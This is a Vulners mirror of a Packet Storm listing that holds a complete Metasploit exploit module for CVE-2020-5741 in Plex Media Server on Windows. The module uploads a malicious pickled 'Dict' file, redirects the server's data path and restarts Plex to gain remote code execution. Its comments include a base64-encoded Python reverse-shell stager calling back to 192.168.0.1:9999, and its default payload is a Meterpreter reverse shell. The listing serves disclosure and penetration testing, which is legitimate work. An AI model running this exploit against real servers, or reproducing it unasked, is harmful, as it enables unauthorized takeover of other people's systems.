Lucene search
K

Plex Unpickle Dict Windows Remote Code Execution

🗓️ 17 Jul 2020 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 610 Views

Plex Unpickle Dict Windows RCE module exploits an authenticated Python unsafe pickle.load of a Dict file enabling remote code execution on Windows running Plex media server

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Plex Unpickle Dict Windows RCE',  
'Description' => %q{  
This module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker  
can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable  
LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes  
an RCE as the user who started Plex.  
Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab  
the X-Plex-Token header. See info -d for additional details.  
If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required  
as subsuquent writes will make Dict-1, and not execute.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'Chris Lyne' # discovery, POC  
],  
'References' =>  
[  
['URL', 'https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py'],  
['URL', 'https://www.tenable.com/security/research/tra-2020-32'],  
['URL', 'http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/'],  
['URL', 'https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819'],  
['CVE', '2020-5741']  
],  
'Platform' => ['python'],  
'Privileged' => false,  
'Arch' => [ARCH_PYTHON],  
'DefaultOptions' => {  
'PAYLOAD' => 'python/meterpreter/reverse_tcp'  
},  
'Notes' => {  
'Stability' => [CRASH_SERVICE_RESTARTS], # we reboot the server twice  
'Reliability' => [REPEATABLE_SESSION, CONFIG_CHANGES], # we attempt to revert config changes  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
},  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => 'May 7 2020',  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
Opt::RPORT(32400),  
OptString.new('PLEX_TOKEN', [true, 'Admin Authenticated X-Plex-Token', '']),  
OptString.new('LIBRARY_PATH', [true, 'Path to write picture library to', 'C:\\Users\\Public']),  
OptString.new('ALBUM_NAME', [true, 'Name of Album', '']),  
OptInt.new('REBOOT_SLEEP', [true, 'Time to wait for Plex to restart', 15])  
]  
)  
end  
  
def album_name  
if @album_name.nil?  
@album_name = datastore['ALBUM_NAME'].blank? ? rand_text_alphanumeric(6) : datastore['ALBUM_NAME']  
end  
@album_name  
end  
  
def create_photo_library  
print_status('Adding new photo library')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => '/library/sections',  
'headers' =>  
{  
'X-Plex-Token' => datastore['PLEX_TOKEN'],  
'Accept' => 'application/json'  
},  
'vars_get' =>  
{  
'name' => album_name,  
'language' => 'en',  
'agent' => 'com.plexapp.agents.none',  
'location' => datastore['LIBRARY_PATH'],  
'type' => 'photo',  
'scanner' => 'Plex Photo Scanner'  
}  
)  
# response:  
# {"MediaContainer":{"size":1,"Directory":[{"art":"/:/resources/photo-fanart.jpg","composite":"/library/sections/-1/composite/1592441414","thumb":"/:/resources/photo.png","key":"7","type":"photo","title":"EvilLib2","agent":"com.plexapp.agents.none","scanner":"Plex Photo Scanner","language":"en","uuid":"95d3810f-8be0-497c-b6d4-170050f7ab30","updatedAt":1592441414,"createdAt":1592441414,"enableAutoPhotoTags":false,"content":true,"directory":true,"contentChangedAt":5135637678740750690,"Location":[{"id":7,"path":"C:\\Users\\Public"}]}]}}  
# we need to pull ['MediaContainer']['Directory'][0]['key']  
if res && res.code == 201 # 201 == Created  
return res.get_json_document['MediaContainer']['Directory'][0]['key']  
end  
  
nil  
end  
  
def add_pickle(location)  
print_status('Adding pickled Dict to library')  
# This is the pickle code, generated on windows to ensure no cross platform  
# issues were encountered  
#######  
# python (2.7 ships with Plex)  
#######  
# import pickle  
#  
# class EP(object):  
# def __init__(self):  
# pass  
# def __reduce__(self):  
# # for generating an approximately correct size and content, we use  
# # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1  
# # that payload is then added after runsource.  
# # The original pre-meterp return would be  
# # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))  
# return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))  
#  
# e = EP()  
# pickle.dumps(e)  
  
# The output from that command will look similar to the following:  
# 'c__builtin__\neval\np0\n(S\'__import__(\\\'code\\\').InteractiveInterpreter().runsource("exec(__import__(\\\'base64\\\').b64decode(__import__(\\\'codecs\\\').getencoder(\\\'utf-8\\\')(\\\'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==\\\')[0]))", \\\'<input>\\\', \\\'exec\\\')\'\np1\ntp2\nRp3\n.'  
  
p = %|c__builtin__\neval\np0\n(S\'|  
p << %|__import__('code').InteractiveInterpreter().runsource("#{payload.encoded}", '<input>', 'exec')|.gsub("'", "\\\\'")  
p << %(\'\np1\ntp2\nRp3\n.) # rubocop changed the | to ( which to not match the last 2 lines...  
filename = "#{album_name}/Plex Media Server/Plug-in Support/Data/com.plexapp.system/"  
  
u = "type=13&sectionID=3&locationID=#{location}&createdAt=1171387901&filename=#{URI.encode_www_form_component(filename)}"  
# using raw here because the encodings for the filename got really wacky when using CGI  
res = send_request_raw(  
'method' => 'POST',  
'uri' => "/library/metadata?#{u}Dict",  
'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] },  
'ctype' => 'application/octet-stream',  
'data' => p  
)  
if res && res.code == 401  
fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')  
delete_photo_library(location)  
return false  
end  
# Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable  
# register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict")  
  
if res && res.code == 401  
fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')  
delete_photo_library(location)  
return false  
end  
true  
end  
  
def change_apppath(path)  
print_status('Changing AppPath')  
send_request_cgi(  
'method' => 'PUT',  
'uri' => '/:/prefs',  
'vars_get' =>  
{  
'X-Plex-Token' => datastore['PLEX_TOKEN'],  
'LocalAppDataPath' => path  
}  
)  
end  
  
def restart_plex  
print_status('Restarting Plex')  
send_request_cgi(  
'method' => 'GET',  
'uri' => '/:/plugins/com.plexapp.system/restart',  
'vars_get' =>  
{  
'X-Plex-Token' => datastore['PLEX_TOKEN']  
}  
)  
end  
  
def delete_photo_library(library)  
print_status('Deleting Photo Library')  
send_request_cgi(  
'method' => 'DELETE',  
'uri' => "/library/sections/#{library}",  
'vars_get' =>  
{  
'X-Plex-Token' => datastore['PLEX_TOKEN']  
}  
)  
end  
  
def ret_server_info  
print_status('Gathering Plex Config')  
res = send_request_cgi(  
'uri' => '/',  
'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] }  
)  
unless res && res.code == 200  
return nil  
end  
  
return Hash.from_xml(res.body)  
end  
  
def check  
server = ret_server_info  
if server.nil?  
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')  
end  
  
store_loot('plex.json', 'application/json', datastore['RHOST'], server.to_s, 'plex.json', 'Plex Server Configuration')  
  
report_host({  
host: datastore['RHOST'],  
os_name: server['MediaContainer']['platform'],  
os_flavor: server['MediaContainer']['platformVersion']  
})  
print_status("Server Name: #{server['MediaContainer']['friendlyName']}")  
unless server['MediaContainer']['platform'] == 'Windows'  
print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")  
return CheckCode::Safe('Only Windows OS is exploitable')  
end  
print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")  
v = Gem::Version.new(server['MediaContainer']['version'])  
if v >= Gem::Version.new('1.19.3')  
print_bad("Server Version: #{v}")  
return CheckCode::Safe('Only < 1.19.3 is exploitable')  
end  
print_good("Server Version: #{server['MediaContainer']['version']}")  
unless server['MediaContainer']['allowCameraUpload']  
print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")  
return CheckCode::Safe('Camera Upload not enabled')  
end  
print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")  
CheckCode::Vulnerable  
end  
  
def exploit  
if datastore['PLEX_TOKEN'].blank?  
fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.')  
end  
  
unless check == CheckCode::Vulnerable  
fail_with(Failure::NotVulnerable, 'Server not vulnerable')  
end  
  
print_status("Using album name: #{album_name}")  
id = create_photo_library  
if id.nil?  
fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem')  
end  
print_good("Created Photo Library: #{id}")  
success = add_pickle(id)  
unless success  
fail_with(Failure::UnexpectedReply, 'Unable to upload files to library')  
end  
change_apppath("#{datastore['LIBRARY_PATH']}\\#{album_name}")  
restart_plex  
print_status("Sleeping #{datastore['REBOOT_SLEEP']} seconds for server restart")  
Rex.sleep(datastore['REBOOT_SLEEP'])  
print_status('Cleanup Phase: Reverting changes from exploitation')  
change_apppath('')  
restart_plex  
delete_photo_library(id)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jul 2020 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.35219
610